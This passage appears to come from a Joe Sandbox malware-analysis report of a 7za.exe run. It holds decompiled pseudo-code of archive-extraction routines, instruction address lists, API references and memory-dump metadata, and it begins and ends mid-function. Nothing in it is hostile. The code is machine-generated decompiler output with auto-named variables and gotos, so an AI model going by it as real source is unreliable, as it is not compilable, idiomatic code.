									 *(_t596 - 4) = 9;
									E0040351A(_t596 - 0x9c);
									_push( *((intOrPtr*)(_t596 - 0x20)));
									 *(_t596 - 4) = 0xa;
									_t393 = E0040B431(_t596 - 0xc4,  *((intOrPtr*)(_t596 + 0xc)), __eflags);
									__eflags = _t393;
									if(_t393 != 0) {
										_t395 =  *(_t596 - 0xa4) >> 4;
										__eflags = _t395 & 0x00000001;
										if((_t395 & 0x00000001) != 0) {
											E00405B9F(_t596 - 0x54);
											 *((intOrPtr*)(_t596 - 0x54)) = 0x47a420;
											_push( *((intOrPtr*)(_t596 + 0x24)));
											_push( *((intOrPtr*)(_t596 + 0x20)));
											 *(_t596 - 4) = 0xb;
											_push( *(_t596 + 0x1c));
											_push(0);
											_push( *((intOrPtr*)(_t596 + 0x14)));
											_push(_t596 - 0x54);
											_push( *((intOrPtr*)(_t596 + 0xc)));
											_push(_t596 - 0x9c);
											_push( *((intOrPtr*)(_t596 + 8)));
											_t585 = E00415BCA(_t584,  *((intOrPtr*)(_t596 - 0x3c)), __eflags);
											 *((intOrPtr*)(_t596 - 0x54)) = 0x47a420;
											 *(_t596 - 4) = 0xc;
											E0040862D();
											 *(_t596 - 4) = 0xa;
											E00408604(_t596 - 0x54);
											__eflags = _t585;
											if(_t585 != 0) {
												E00407A18( *((intOrPtr*)(_t596 - 0x9c)));
												_push( *((intOrPtr*)(_t596 - 0x20)));
												L52:
												E00407A18();
												 *(_t596 - 4) =  *(_t596 - 4) | 0xffffffff;
												E00408604(_t596 - 0x68);
												_t328 = _t585;
												goto L84;
											}
											L48:
											E00407A18( *((intOrPtr*)(_t596 - 0x9c)));
											_t170 = _t596 - 4;
											 *_t170 =  *(_t596 - 4) & 0x00000000;
											__eflags =  *_t170;
											E00407A18( *((intOrPtr*)(_t596 - 0x20)));
											goto L49;
										}
										_push(0x80004005);
										L46:
										E00415C6D( *((intOrPtr*)(_t596 + 0x24)));
										_push(_t596 - 0x20);
										E00406796( *((intOrPtr*)(_t596 + 0x20)));
										goto L48;
									}
									_t411 = E00408C9E(_t584);
									__eflags = _t411;
									if(_t411 == 0) {
										goto L48;
									}
									_push(GetLastError());
									goto L46;
								}
								_t532 =  *((intOrPtr*)(_t596 - 0x5c));
								__eflags =  *((char*)(_t532 + _t388));
								if( *((char*)(_t532 + _t388)) == 0) {
									goto L49;
								}
								goto L40;
								L49:
								_t388 =  *(_t596 + 0x18) + 1;
								__eflags = _t388 -  *(_t469 + 0x18);
								 *(_t596 + 0x18) = _t388;
							} while (_t388 <  *(_t469 + 0x18));
							goto L50;
						} else {
							goto L17;
						}
						do {
							L17:
							_t586 =  *((intOrPtr*)( *((intOrPtr*)(_t469 + 0x30)) +  *(_t596 + 0x18) * 4));
							_t415 =  *((intOrPtr*)( *((intOrPtr*)(_t586 + 0xc))));
							_push(_t415);
							 *((intOrPtr*)(_t596 + 0x10)) = _t415;
							E0040B0A0(_t596 - 0x20,  *((intOrPtr*)(_t596 + 0xc)));
							 *(_t596 - 4) = 1;
							E0040351A(_t596 - 0x9c);
							_push( *((intOrPtr*)(_t596 - 0x20)));
							 *(_t596 - 4) = 2;
							_t418 = E0040B431(_t596 - 0xc4,  *((intOrPtr*)(_t596 + 0xc)), __eflags); // executed
							__eflags = _t418;
							if(_t418 != 0) {
								_t473 =  *(_t596 - 0xa4) >> 0x00000004 & 0x00000001;
								__eflags = _t473;
								if(_t473 == 0) {
									__eflags =  *((char*)(_t586 + 0x15));
									if( *((char*)(_t586 + 0x15)) != 0) {
										L21:
										E00405B9F(_t596 - 0x34);
										 *((intOrPtr*)(_t596 - 0x34)) = 0x47a420;
										_push(_t596 - 0x9c);
										 *(_t596 - 4) = 3;
										_t421 = E00406796(_t596 - 0x34);
										__eflags = _t473;
										_t424 = E00408E8A( *(_t596 - 0x10), 0, _t596 - 0x34, _t421 & 0xffffff00 | _t473 == 0x00000000);
										__eflags = _t424;
										 *((intOrPtr*)(_t596 - 0x34)) = 0x47a420;
										if(_t424 == 0) {
											 *(_t596 - 4) = 5;
											E0040862D();
											 *(_t596 - 4) = 2;
											E00408604(_t596 - 0x34);
											_push( *((intOrPtr*)(_t596 + 0x14)) + 0x3c);
											_push(_t596 - 0xc4);
											E004150E0( *((intOrPtr*)(_t596 - 0x3c)),  *((intOrPtr*)(_t596 + 8)), __eflags);
											__eflags = _t473;
											if(_t473 == 0) {
												L35:
												E00407A18( *((intOrPtr*)(_t596 - 0x9c)));
												_t116 = _t596 - 4;
												 *_t116 =  *(_t596 - 4) & 0x00000000;
												__eflags =  *_t116;
												E00407A18( *((intOrPtr*)(_t596 - 0x20)));
												_t469 =  *(_t596 - 0x10);
												goto L36;
											}
											E00405B9F(_t596 - 0x8c);
											 *((intOrPtr*)(_t596 - 0x8c)) = 0x47a420;
											 *(_t596 - 4) = 6;
											_t587 = E00408B37( *(_t596 - 0x10),  *((intOrPtr*)(_t596 + 0x10)));
											__eflags = _t587;
											if(_t587 < 0) {
												_push( *((intOrPtr*)(_t596 + 0x10)));
												_t588 =  *(_t596 - 0x10);
												E00406796(_t596 - 0x8c);
												L32:
												_push( *((intOrPtr*)(_t596 + 0x24)));
												_push( *((intOrPtr*)(_t596 + 0x20)));
												_push( *(_t596 + 0x1c));
												_push(1);
												_push( *((intOrPtr*)(_t596 + 0x14)));
												_push(_t596 - 0x8c);
												_push( *((intOrPtr*)(_t596 + 0xc)));
												_push(_t596 - 0x9c);
												_push( *((intOrPtr*)(_t596 + 8)));
												_t585 = E00415BCA(_t588,  *((intOrPtr*)(_t596 - 0x3c)), __eflags);
												 *((intOrPtr*)(_t596 - 0x8c)) = 0x47a420;
												__eflags = _t585;
												if(_t585 != 0) {
													 *(_t596 - 4) = 7;
													E0040862D();
													 *(_t596 - 4) = 2;
													E00408604(_t596 - 0x8c);
													E00407A18( *((intOrPtr*)(_t596 - 0x9c)));
													_push( *((intOrPtr*)(_t596 - 0x20)));
													goto L52;
												}
												 *(_t596 - 4) = 8;
												E0040862D();
												 *(_t596 - 4) = 2;
												_t555 = _t596 - 0x8c;
												L34:
												E00408604(_t555);
												goto L35;
											}
											__eflags =  *((intOrPtr*)(_t596 - 0x60)) - _t587;
											if(__eflags > 0) {
												L30:
												 *( *((intOrPtr*)(_t596 - 0x5c)) + _t587) =  *( *((intOrPtr*)(_t596 - 0x5c)) + _t587) & 0x00000000;
												_t588 =  *( *((intOrPtr*)( *(_t596 - 0x10) + 0x1c)) + _t587 * 4);
												goto L32;
											}
											_t476 = _t587 -  *((intOrPtr*)(_t596 - 0x60)) + 1;
											__eflags = _t476;
											do {
												E0043AC2F(_t596 - 0x68, 1);
												_t476 = _t476 - 1;
												__eflags = _t476;
											} while (__eflags != 0);
											goto L30;
										}
										 *(_t596 - 4) = 4;
										E0040862D();
										 *(_t596 - 4) = 2;
										_t555 = _t596 - 0x34;
										goto L34;
									}
									L24:
									E00415C6D( *((intOrPtr*)(_t596 + 0x24)), 0x80004005);
									_push(_t596 - 0x20);
									E00406796( *((intOrPtr*)(_t596 + 0x20)));
									goto L35;
								}
								__eflags =  *((char*)(_t586 + 0x16));
								if( *((char*)(_t586 + 0x16)) == 0) {
									goto L24;
								}
								goto L21;
							}
							E00415C6D( *((intOrPtr*)(_t596 + 0x24)), GetLastError());
							_push(_t596 - 0x20);
							E00406796( *((intOrPtr*)(_t596 + 0x20)));
							E00407A18( *((intOrPtr*)(_t596 - 0x9c)));
							 *(_t596 - 4) =  *(_t596 - 4) & 0x00000000;
							E00407A18( *((intOrPtr*)(_t596 - 0x20)));
							L36:
							 *(_t596 + 0x18) =  *(_t596 + 0x18) + 1;
							__eflags =  *(_t596 + 0x18) -  *(_t469 + 0x2c);
						} while ( *(_t596 + 0x18) <  *(_t469 + 0x2c));
						goto L37;
					} else {
						goto L10;
					}
					while(1) {
						L10:
						_t460 =  *((intOrPtr*)( *((intOrPtr*)(_t469 + 0x30)) + _t590 * 4));
						__eflags =  *((char*)(_t460 + 0x14));
						if( *((char*)(_t460 + 0x14)) != 0) {
							goto L15;
						}
						__eflags =  *((intOrPtr*)(_t460 + 8)) - 1;
						if( *((intOrPtr*)(_t460 + 8)) != 1) {
							goto L15;
						}
						_t564 =  *((intOrPtr*)( *((intOrPtr*)(_t460 + 0xc))));
						__eflags =  *(_t564 + 4);
						if( *(_t564 + 4) == 0) {
							goto L15;
						}
						_t462 = E00408A3B(_t564);
						__eflags = _t462;
						if(_t462 != 0) {
							goto L15;
						}
						_t590 = _t590 + 1;
						__eflags = _t590 -  *(_t469 + 0x2c);
						if(_t590 <  *(_t469 + 0x2c)) {
							continue;
						}
						goto L15;
					}
					goto L15;
				}
				_t581 =  *((intOrPtr*)(_t596 + 0x14));
				_t579 =  *_t568;
				 *(_t596 - 0x38) = _t579;
				asm("cdq");
				asm("cdq");
				_t328 =  *( *(_t596 - 0x38))( *((intOrPtr*)(_t581 + 8)), _t579,  *((intOrPtr*)(_t581 + 0x44)), _t579,  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc)))));
				if(_t328 == 0) {
					goto L7;
				}
				goto L84;
			}

0x00415425
0x00415435
0x00415439
0x0041543c
0x0041543f
0x0041544a
0x0041544a
0x0041544e
0x00415453
0x00415482
0x00415485
0x00415485
0x00415488
0x0041548a
0x0041548d
0x004158a9
0x004158ac
0x004158b1
0x004158b6
0x004158ba
0x004158c5
0x004158c9
0x004158d1
0x004158d5
0x004158da
0x004158e5
0x004158f0
0x004158f8
0x004158fc
0x00415901
0x00415903
0x00415b38
0x00415b42
0x00415b4a
0x00415b4d
0x00415b52
0x00415b58
0x00415b5d
0x00415b5d
0x00415b5d
0x00415b65
0x00415b6e
0x00415b73
0x00415b73
0x00415bb9
0x00415bbf
0x00415bc7
0x00415bc7
0x0041590e
0x0041590e
0x00415912
0x00000000
0x00000000
0x00415918
0x0041591c
0x00415953
0x00415956
0x0041595c
0x0041595f
0x0041596d
0x0041596e
0x00415972
0x0041597d
0x0041597e
0x00415992
0x0041599d
0x004159a2
0x004159a4
0x004159a7
0x004159d0
0x004159d4
0x004159dc
0x004159e0
0x00415a00
0x00415a02
0x00415a0d
0x00415a14
0x00415a15
0x00415a20
0x00415a23
0x00415a25
0x00415a27
0x00415a27
0x00415a25
0x00415a31
0x00415a34
0x00415a36
0x00415a44
0x00415a47
0x00415a4b
0x00415a4f
0x00415a5a
0x00415a5f
0x00415a61
0x00415a69
0x00415a69
0x00415a61
0x00415a6c
0x00415a70
0x00415a81
0x00415a84
0x00415a8c
0x00415a8f
0x00415a94
0x00415a98
0x00415aa3
0x00415aa4
0x00415aa7
0x00415aa7
0x00415aac
0x00415ab8
0x00415abb
0x00415abe
0x00415ac1
0x00415ac2
0x00415ac3
0x00415acc
0x00415acd
0x00415ad0
0x00415ad5
0x00415ad7
0x00415ada
0x00415add
0x00415b7e
0x00415b82
0x00415b8a
0x00415b8e
0x00415b93
0x00415b96
0x00415b9c
0x00415ba4
0x00415ba4
0x00415ba4
0x00415ba8
0x00415bb2
0x00415bb7
0x00000000
0x00415ae3
0x00415ae3
0x00000000
0x00415ae3
0x00415a72
0x00415a72
0x00415a76
0x00000000
0x00000000
0x00415a78
0x00415a7b
0x00000000
0x00415a7b
0x00415a38
0x00415a38
0x00415a3b
0x00415ae7
0x00415aea
0x00415af2
0x00415af6
0x00415afb
0x00415b05
0x00415b0a
0x00415b14
0x00415b1f
0x00415b27
0x00415b2b
0x00415b30
0x00415b32
0x00000000
0x00000000
0x00000000
0x00415b32
0x00415a36
0x004159ac
0x004159b0
0x004159b8
0x004159bc
0x004159c1
0x004159c4
0x00000000
0x004159c4
0x0041591e
0x00415922
0x00000000
0x00000000
0x0041592c
0x00415934
0x00415938
0x00415940
0x00415946
0x00415948
0x0041594a
0x00415b77
0x00000000
0x00415b77
0x00415950
0x00000000
0x00415950
0x00000000
0x0041590e
0x00415493
0x00415497
0x00000000
0x00000000
0x0041549d
0x004154a0
0x004154ce
0x004154ce
0x004154d1
0x00000000
0x00000000
0x004154dc
0x004154e1
0x004154eb
0x004154ef
0x004154f8
0x004154fa
0x00415723
0x00415723
0x00415725
0x00415728
0x0041572b
0x00415870
0x00415870
0x00415877
0x00000000
0x00000000
0x00000000
0x00000000
0x00415731
0x00415731
0x00415731
0x00415734
0x00415743
0x00415749
0x00415752
0x00415753
0x0041575e
0x00415762
0x00415767
0x00415770
0x00415774
0x00415779
0x0041577b
0x004157cc
0x004157cf
0x004157d1
0x004157f1
0x004157f6
0x004157f9
0x00415804
0x00415807
0x0041580b
0x0041580e
0x00415810
0x00415813
0x0041581a
0x0041581d
0x0041581e
0x00415826
0x00415828
0x0041582e
0x00415832
0x0041583a
0x0041583e
0x00415843
0x00415845
0x00415887
0x0041588c
0x0041588f
0x0041588f
0x00415894
0x0041589d
0x004158a2
0x00000000
0x004158a2
0x00415847
0x0041584d
0x00415855
0x00415855
0x00415855
0x00415859
0x00000000
0x0041585f
0x004157d3
0x004157d8
0x004157db
0x004157e6
0x004157e7
0x00000000
0x004157e7
0x0041577f
0x00415784
0x00415786
0x00000000
0x00000000
0x00415792
0x00000000
0x00415792
0x00415736
0x00415739
0x0041573d
0x00000000
0x00000000
0x00000000
0x00415860
0x00415863
0x00415864
0x00415867
0x00415867
0x00000000
0x00000000
0x00000000
0x00000000
0x00415500
0x00415500
0x00415509
0x00415512
0x00415514
0x00415515
0x00415518
0x00415523
0x00415527
0x0041552c
0x00415535
0x00415539
0x0041553e
0x00415540
0x00415584
0x00415584
0x00415587
0x004155e0
0x004155e4
0x0041558f
0x00415592
0x00415597
0x004155a3
0x004155a4
0x004155a8
0x004155ad
0x004155bc
0x004155c1
0x004155c3
0x004155c6
0x00415607
0x0041560b
0x00415613
0x00415617
0x00415628
0x0041562f
0x00415630
0x00415635
0x00415637
0x004156f8
0x004156fe
0x00415706
0x00415706
0x00415706
0x0041570a
0x0041570f
0x00000000
0x00415713
0x00415643
0x00415648
0x00415654
0x0041565d
0x0041565f
0x00415661
0x0041568d
0x00415690
0x00415699
0x0041569e
0x0041569e
0x004156ac
0x004156af
0x004156b2
0x004156b4
0x004156b7
0x004156be
0x004156c1
0x004156c2
0x004156ca
0x004156cc
0x004156d2
0x004156d4
0x0041579b
0x0041579f
0x004157aa
0x004157ae
0x004157b9
0x004157be
0x00000000
0x004157be
0x004156e0
0x004156e4
0x004156e9
0x004156ed
0x004156f3
0x004156f3
0x00000000
0x004156f3
0x00415663
0x00415666
0x0041567b
0x0041567e
0x00415688
0x00000000
0x00415688
0x0041566d
0x0041566d
0x0041566e
0x00415673
0x00415678
0x00415678
0x00415678
0x00000000
0x0041566e
0x004155cb
0x004155cf
0x004155d4
0x004155d8
0x00000000
0x004155d8
0x004155e6
0x004155ee
0x004155f9
0x004155fa
0x00000000
0x004155fa
0x00415589
0x0041558d
0x00000000
0x00000000
0x00000000
0x0041558d
0x0041554c
0x00415557
0x00415558
0x00415563
0x0041556b
0x0041556f
0x00415714
0x00415714
0x0041571a
0x0041571a
0x00000000
0x00000000
0x00000000
0x00000000
0x004154a2
0x004154a2
0x004154a5
0x004154a8
0x004154ac
0x00000000
0x00000000
0x004154ae
0x004154b2
0x00000000
0x00000000
0x004154b7
0x004154b9
0x004154bd
0x00000000
0x00000000
0x004154bf
0x004154c4
0x004154c6
0x00000000
0x00000000
0x004154c8
0x004154c9
0x004154cc
0x00000000
0x00000000
0x00000000
0x004154cc
0x00000000
0x004154a2
0x00415458
0x0041545b
0x00415465
0x00415468
0x00415471
0x00415477
0x0041547b
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00415425
GetLastError.KERNEL32(00000000,?,00000001,?,59@,00000000), ref: 00415542

Part of subcall function 0040B0A0: __EH_prolog.LIBCMT ref: 0040B0A5

Part of subcall function 0040B431: __EH_prolog.LIBCMT ref: 0040B436

GetLastError.KERNEL32(00000000,00000000,00000001,?,59@,00000000), ref: 0041578C

Part of subcall function 00411BD0: __EH_prolog.LIBCMT ref: 00411BD5

Part of subcall function 0040B5C9: GetLastError.KERNEL32(00000000,00415901,?,?,00000000,0000002A,?,59@,00000000), ref: 0040B5E4

Part of subcall function 004092A8: __EH_prolog.LIBCMT ref: 004092AD

Part of subcall function 004150E0: __EH_prolog.LIBCMT ref: 004150E5

Part of subcall function 00415BCA: __EH_prolog.LIBCMT ref: 00415BCF

GetLastError.KERNEL32(?,?,00000000,0000002A,?,59@,00000000), ref: 00415B38

Part of subcall function 00406796: __EH_prolog.LIBCMT ref: 0040679B

Part of subcall function 0040B154: FindClose.KERNEL32(00000000,?,0040B18C), ref: 0040B15F

Strings

59@, xrefs: 00415437, 004154F3, 00415909

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00412027, Relevance: 8.0, APIs: 1, Strings: 3, Instructions: 954

C-Code - Quality: 81%

			E00412027() {
				void* __ebx;
				void* __esi;
				intOrPtr* _t416;
				signed int _t418;
				signed int _t422;
				signed int _t425;
				signed int _t429;
				signed int _t434;
				signed int _t440;
				signed int _t461;
				signed int _t462;
				signed int _t474;
				signed int _t475;
				void* _t476;
				signed int _t479;
				signed int _t480;
				signed int _t490;
				void* _t508;
				signed int _t511;
				intOrPtr* _t512;
				signed int _t515;
				intOrPtr _t516;
				void* _t517;
				void* _t518;
				signed int _t522;
				void* _t533;
				void* _t534;
				void* _t536;
				signed int _t540;
				signed int _t559;
				void* _t570;
				void* _t571;
				signed int _t575;
				signed int _t584;
				signed int _t585;
				signed int _t589;
				signed int _t593;
				intOrPtr _t627;
				signed int _t628;
				void* _t633;
				signed int _t637;
				void* _t643;
				signed int _t651;
				intOrPtr _t681;
				signed int _t754;
				intOrPtr _t791;
				FILETIME* _t793;
				intOrPtr* _t796;
				signed int* _t797;
				intOrPtr* _t798;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t804;
				signed int _t805;
				signed int _t808;
				signed int _t810;
				signed int _t812;
				intOrPtr* _t813;
				signed int _t814;
				intOrPtr* _t815;
				intOrPtr* _t816;
				signed int _t817;
				intOrPtr* _t818;
				intOrPtr* _t819;
				signed int _t821;
				void* _t822;
				void* _t824;

				E0046B890(E0047455B, _t822);
				_t810 =  *(_t822 + 8);
				_t651 = 0;
				 *((intOrPtr*)(_t822 - 0x10)) = _t824 - 0x9c;
				_t416 =  *((intOrPtr*)(_t810 + 0xa0));
				_t796 = _t810 + 0xa0;
				 *((intOrPtr*)(_t822 - 4)) = 0;
				if(_t416 != 0) {
					 *((intOrPtr*)( *_t416 + 8))(_t416);
					 *_t796 = 0;
				}
				_t797 = _t810 + 0x98;
				 *( *(_t822 + 0x10)) = _t651;
				_t418 =  *_t797;
				if(_t418 != _t651) {
					 *((intOrPtr*)( *_t418 + 8))(_t418);
					 *_t797 = _t651;
				}
				 *(_t810 + 0x88) = _t651;
				 *(_t810 + 0x5d) = _t651;
				 *(_t810 + 0x58) = _t651;
				 *(_t810 + 0x8c) = _t651;
				 *(_t810 + 0x90) = _t651;
				 *(_t810 + 0x84) =  *(_t822 + 0xc);
				 *(_t822 - 0x48) = _t651;
				 *(_t822 - 0x44) = _t651;
				 *(_t822 - 0x40) = _t651;
				E00401E9A(_t822 - 0x48, 3);
				_push(_t822 - 0x48);
				 *((char*)(_t822 - 4)) = 1;
				_push( *(_t822 + 0xc));
				_t798 =  *((intOrPtr*)( *((intOrPtr*)(_t810 + 0x10))));
				_t422 = E004179F7( *((intOrPtr*)(_t810 + 0x10)));
				if(_t422 == _t651) {
					_t422 = E004179E9(_t810 + 0x80);
					__eflags = _t422 - _t651;
					if(_t422 != _t651) {
						goto L5;
					}
					E00401E26(_t810 + 0x44, _t822 - 0x48);
					 *(_t822 - 0x70) = _t651;
					 *(_t822 - 0x6e) = _t651;
					 *((char*)(_t822 - 4)) = 2;
					_t429 =  *((intOrPtr*)( *_t798 + 0x18))(_t798,  *(_t822 + 0xc), 0x1d, _t822 - 0x70);
					__eflags = _t429 - _t651;
					 *(_t822 + 8) = _t429;
					if(_t429 == _t651) {
						__eflags =  *(_t822 - 0x70) - _t651;
						if( *(_t822 - 0x70) == _t651) {
							L13:
							 *((char*)(_t822 - 4)) = 1;
							E0040C20F(_t822 - 0x70);
							_push(_t810 + 0x5d);
							_push(0xf);
							_t422 = E00417975(_t798,  *(_t822 + 0xc));
							__eflags = _t422 - _t651;
							if(_t422 != _t651) {
								goto L5;
							}
							_t422 = E00411FA9(_t810);
							__eflags = _t422 - _t651;
							if(_t422 != _t651) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(_t810 + 0x14)) - _t651;
							if( *((intOrPtr*)(_t810 + 0x14)) == _t651) {
								L17:
								__eflags =  *(_t822 + 0x14) - _t651;
								if( *(_t822 + 0x14) != _t651) {
									L146:
									 *( *(_t822 + 0x10)) = _t651;
									L147:
									__eflags =  *((intOrPtr*)(_t810 + 0xba)) - _t651;
									if( *((intOrPtr*)(_t810 + 0xba)) != _t651) {
										_push(0x20);
										_t434 = E004079F2();
										__eflags = _t434 - _t651;
										if(_t434 == _t651) {
											_t434 = 0;
											__eflags = 0;
										} else {
											 *(_t434 + 4) = _t651;
											 *(_t434 + 8) = _t651;
											 *_t434 = 0x47aa54;
										}
										 *(_t810 + 0x9c) = _t434;
										E0040C9B4(_t810 + 0xa0, _t434);
										_t800 =  *(_t810 + 0x9c);
										__eflags = _t800 - _t651;
										 *(_t822 + 0xc) = _t800;
										if(_t800 != _t651) {
											 *((intOrPtr*)( *_t800 + 4))(_t800);
										}
										 *((char*)(_t822 - 4)) = 0x2c;
										E0040C9B4( *(_t810 + 0x9c) + 8,  *( *(_t822 + 0x10)));
										_t440 =  *( *(_t822 + 0x10));
										__eflags = _t440 - _t651;
										if(_t440 != _t651) {
											 *((intOrPtr*)( *_t440 + 8))(_t440);
										}
										 *( *(_t822 + 0x10)) = _t800;
										_t812 =  *(_t810 + 0x9c);
										_t407 = _t812 + 0x18;
										 *_t407 =  *(_t812 + 0x18) | 0xffffffff;
										__eflags =  *_t407;
										 *(_t812 + 0x10) = _t651;
										 *(_t812 + 0x14) = _t651;
										 *((char*)(_t812 + 0x1c)) = 1;
									}
									L156:
									E00407A18( *(_t822 - 0x48));
									_t425 = 0;
									L157:
									 *[fs:0x0] =  *((intOrPtr*)(_t822 - 0xc));
									return _t425;
								}
								__eflags =  *((intOrPtr*)(_t810 + 0xb9)) - _t651;
								if( *((intOrPtr*)(_t810 + 0xb9)) != _t651) {
									goto L146;
								}
								__eflags =  *((intOrPtr*)(_t810 + 0xb8)) - _t651;
								if( *((intOrPtr*)(_t810 + 0xb8)) == _t651) {
									 *(_t822 - 0x70) = _t651;
									 *(_t822 - 0x6e) = _t651;
									 *((char*)(_t822 - 4)) = 3;
									_t801 =  *((intOrPtr*)( *_t798 + 0x18))(_t798,  *(_t822 + 0xc), 9, _t822 - 0x70);
									__eflags = _t801 - _t651;
									if(_t801 == _t651) {
										__eflags =  *(_t822 - 0x70) - 0x13;
										if( *(_t822 - 0x70) != 0x13) {
											__eflags =  *(_t822 - 0x70) - _t651;
											if( *(_t822 - 0x70) != _t651) {
												 *((char*)(_t822 - 4)) = 1;
												E0040C20F(_t822 - 0x70);
												_t801 = 0x80004005;
												L145:
												E00407A18( *(_t822 - 0x48));
												_t425 = _t801;
												goto L157;
											}
											 *(_t810 + 0x7f) = _t651;
											L32:
											 *((char*)(_t822 - 4)) = 1;
											E0040C20F(_t822 - 0x70);
											_t802 =  *(_t822 + 0xc);
											_push(_t810 + 0x7c);
											_push(_t810 + 0x60);
											_push(0xa);
											_push(_t802);
											_t422 = E00411F1A(_t810);
											__eflags = _t422 - _t651;
											if(_t422 != _t651) {
												goto L5;
											}
											_push(_t810 + 0x7d);
											_push(_t810 + 0x68);
											_push(0xb);
											_push(_t802);
											_t422 = E00411F1A(_t810);
											__eflags = _t422 - _t651;
											if(_t422 != _t651) {
												goto L5;
											}
											_push(_t810 + 0x7e);
											_push(_t810 + 0x70);
											_push(0xc);
											_push(_t802);
											_t422 = E00411F1A(_t810);
											__eflags = _t422 - _t651;
											if(_t422 != _t651) {
												goto L5;
											}
											 *(_t822 + 0xb) = _t651;
											_push(_t822 + 0xb);
											_push(0x15);
											_t422 = E00417975( *((intOrPtr*)( *((intOrPtr*)(_t810 + 0x10)))), _t802);
											__eflags = _t422 - _t651;
											if(_t422 != _t651) {
												goto L5;
											}
											E00405B9F(_t822 - 0x24);
											_t803 = 0x47a420;
											 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
											 *((char*)(_t822 - 4)) = 4;
											E00408833(_t822 - 0x48, _t822 - 0x24, __eflags);
											_t681 =  *((intOrPtr*)(_t822 - 0x1c));
											__eflags = _t681 - _t651;
											if(_t681 != _t651) {
												 *(_t822 + 0xc) = _t651;
												_t461 =  *((intOrPtr*)(_t810 + 0x30)) - 1;
												__eflags = _t461;
												if(_t461 == 0) {
													_t462 =  *(_t810 + 0xac);
													__eflags = _t681 - _t462;
													 *(_t822 + 0xc) = _t462;
													if(_t681 > _t462) {
														_t804 = 0;
														__eflags = 0;
														while(1) {
															__eflags = _t804 -  *(_t822 + 0xc);
															if(_t804 >=  *(_t822 + 0xc)) {
																break;
															}
															_t633 = E0040807A( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t822 - 0x18)) + _t804 * 4)))));
															__eflags = _t633 - _t651;
															if(_t633 == _t651) {
																_t804 = _t804 + 1;
																continue;
															}
															 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
															 *((char*)(_t822 - 4)) = 7;
															L89:
															E0040862D();
															 *((char*)(_t822 - 4)) = 1;
															E00408604(_t822 - 0x24);
															_t651 = 0x80004005;
															L141:
															E00407A18( *(_t822 - 0x48));
															_t425 = _t651;
															goto L157;
														}
														_t803 = 0x47a420;
														L49:
														E004036D9(_t651, _t822 - 0x24, _t810, _t651,  *(_t822 + 0xc));
														E00416D6F(_t822 - 0x24);
														E004170F2(_t822 - 0x3c, _t822 - 0x24, __eflags);
														__eflags =  *(_t822 + 0xb) - _t651;
														 *((char*)(_t822 - 4)) = 8;
														if( *(_t822 + 0xb) != _t651) {
															L71:
															_t772 = _t810 + 0x24;
															_push(_t822 - 0x3c);
															E0040B0A0(_t822 - 0x30, _t810 + 0x24);
															__eflags =  *((intOrPtr*)(_t810 + 0x80)) - _t651;
															 *((char*)(_t822 - 4)) = 0xa;
															if( *((intOrPtr*)(_t810 + 0x80)) == _t651) {
																__eflags =  *(_t810 + 0x58) - _t651;
																if( *(_t810 + 0x58) != _t651) {
																	L117:
																	__eflags =  *(_t822 + 0xb) - _t651;
																	if( *(_t822 + 0xb) != _t651) {
																		L143:
																		E00401E26(_t810 + 0x38, _t822 - 0x30);
																		E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																		E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																		 *((intOrPtr*)(_t822 - 0x24)) = _t803;
																		 *((char*)(_t822 - 4)) = 0x2b;
																		E0040862D();
																		 *((char*)(_t822 - 4)) = 1;
																		E00408604(_t822 - 0x24);
																		goto L147;
																	}
																	_push(0x20);
																	_t474 = E004079F2();
																	__eflags = _t474 - _t651;
																	if(_t474 == _t651) {
																		_t805 = 0;
																		__eflags = 0;
																	} else {
																		 *(_t474 + 4) = _t651;
																		 *(_t474 + 8) =  *(_t474 + 8) | 0xffffffff;
																		 *_t474 = 0x47aa64;
																		_t805 = _t474;
																	}
																	__eflags = _t805 - _t651;
																	 *(_t810 + 0x94) = _t805;
																	 *(_t822 + 0x14) = _t805;
																	if(_t805 != _t651) {
																		 *((intOrPtr*)( *_t805 + 4))(_t805);
																	}
																	_t475 =  *(_t810 + 0x94);
																	 *((char*)(_t822 - 4)) = 0x26;
																	asm("sbb edx, edx");
																	 *(_t475 + 0x18) = _t651;
																	 *(_t475 + 0x1c) = _t651;
																	_t476 = E0040BD54( *((intOrPtr*)(_t822 - 0x30)), ( ~( *(_t810 + 0x58)) & 0x00000002) + 2);
																	__eflags = _t476 - _t651;
																	if(_t476 != _t651) {
																		__eflags =  *(_t810 + 0x58) - _t651;
																		if( *(_t810 + 0x58) == _t651) {
																			L142:
																			E0040C9B4(_t810 + 0x98, _t805);
																			 *((char*)(_t822 - 4)) = 0xa;
																			 *( *(_t822 + 0x10)) = _t805;
																			_t803 = 0x47a420;
																			goto L143;
																		}
																		_t479 =  *(_t810 + 0x94);
																		_t480 =  *((intOrPtr*)( *_t479 + 0x10))(_t479,  *((intOrPtr*)(_t810 + 0x50)),  *((intOrPtr*)(_t810 + 0x54)), _t651, _t651);
																		__eflags = _t480 - _t651;
																		 *(_t822 + 0xc) = _t480;
																		if(_t480 == _t651) {
																			goto L142;
																		}
																		__eflags = _t805 - _t651;
																		 *((char*)(_t822 - 4)) = 0xa;
																		if(_t805 != _t651) {
																			 *((intOrPtr*)( *_t805 + 8))(_t805);
																		}
																		E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																		E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
